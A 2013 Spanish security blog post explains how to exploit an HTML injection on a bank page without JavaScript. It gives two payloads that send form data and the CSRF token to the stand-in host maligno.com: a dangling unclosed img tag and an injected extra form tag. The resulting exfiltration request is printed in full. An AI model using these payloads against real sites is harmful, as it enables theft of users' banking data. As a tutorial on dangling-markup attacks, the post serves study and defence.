sábado, 23 de marzo de 2013

Explotando un HTML Injection sin Javascript

Bravo...!! Acabas de encontrar una variable de entrada en la web de tu banco favorito que se refleja en la salida sin ser escapada. Estás dispuesto a hacer tu rutinaria prueba de "alert" y a intentar robar la información de los usuarios enviándola a tu servidor maligno incrustando tu código js personalizado pero... ¡¡Rayos y retruécanos!! Las etiquetas de <script> son filtradas, los atributos de eventos eliminados, se ha incluido un token para evitar ataques CSRF y toda posibilidad de ejecutar javascript con técnicas exóticas ha sido tenida en cuenta por el administrador de la web. Parece que no nos vamos a poder divertir mucho más allá de intentar algún phishing o incrustar alguna bonita imagen.

O quizá sólo lo parece... En este escenario, aún nos quedan algunas cartas por jugar para intentar robar los datos de los usuarios fácilmente. Aquí os mostramos dos de ellas:

Imaginemos esta situación:
...
<!-- Aquí está nuestro punto de inyección -->
<form action="http://bancomalo.com/facturas" method="POST">
   <input type="hidden" name="facturaId" value="435">
   <input type="hidden" name="facturaDetalle" value="PetrodolarSA">
   <input type="hidden" name="facturaCantidad" value="780000">
   <input type="hidden" name="csrf" value="ae45-34569345-bef">
   <input type="submit" value=”Aceptar”>
...
</form>
...
<script>
var estadoOper='pendiente’;
...
</script>

Una posibilidad sería inyectar el código siguiente:

<img src='http://maligno.com?datosRobados=

Notemos dos detalles en esta inyección. El tag lo hemos dejado sin cerrar intencionadamente y además hemos usado la comilla simple para abrir el valor de la URL. Cuando los navegadores encuentran esta situación, están hambrientos de encontrar la comilla que les falta para dejar compuesto el valor de su atributo, y además no les vale cualquier otro tipo de comilla. Por esta razón, todo el contenido del formulario será incluido en nuestra URL hasta llegar a la comilla simple de 'pendiente.
Por tanto, la petición que hará el navegador de la víctima para resolver la imagen será la siguiente:

http://maligno.com?datosRobados=<form%20action="http://bancomalo.com/facturas"%20method="POST"><input%20type="hidden"%20name="facturaId"%20value="435"><input%20type="hidden"%20name="facturaDetalle"%20value="PetrodolarSA"><input%20type="hidden"%20name="facturaCantidad"%20value="7800"><input%20type="hidden"%20name="csrf"%20value="ae45-34569345-bef">%20<input%20type="submit"%20value=”Forward”>...</form>...<script>var%20estadoOper=

Y recibiremos en nuestro servidor maligno.com todos los datos del formulario.

Otra posibilidad sería incrustar una segunda etiqueta <form> que postee hacia nuestro servidor maligno:

<form action="http://maligno.com" method="POST">

De manera que el código final quedaría con dos etiquetas form:

<form action="http://maligno.com" method="POST">
<form action="http://bancomalo.com/facturas" method="POST">

Cuando los navegadores se encuentran con esto, hacen caso sólo a la primera etiqueta de formulario, así que si el usuario pulsa el botón de "Aceptar" los datos serán enviados a nuestro servidor maligno en lugar de al servidor legítimo.

Un saludo!!

1 comentario:

  1. Madre mía, mis webs deben ser como una colmena de vulnerabilidades...

    ResponderEliminar